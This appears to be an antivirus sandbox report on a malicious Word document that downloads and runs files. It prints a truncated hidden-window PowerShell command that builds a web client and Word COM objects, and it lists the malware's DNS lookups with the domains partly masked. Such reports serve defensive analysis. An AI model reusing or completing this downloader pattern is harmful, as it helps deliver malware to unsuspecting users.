Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c start /b powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$word = new-object -ComObject word.application;$random = n...
Network activity
UDP
- DNS ASK wh###dogs.pl
- DNS ASK li###pool.pl
- DNS ASK st####.rapidssl.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c start /b powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$word = new-object -ComObject word.application;$random = n...' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' /Automation -Embedding
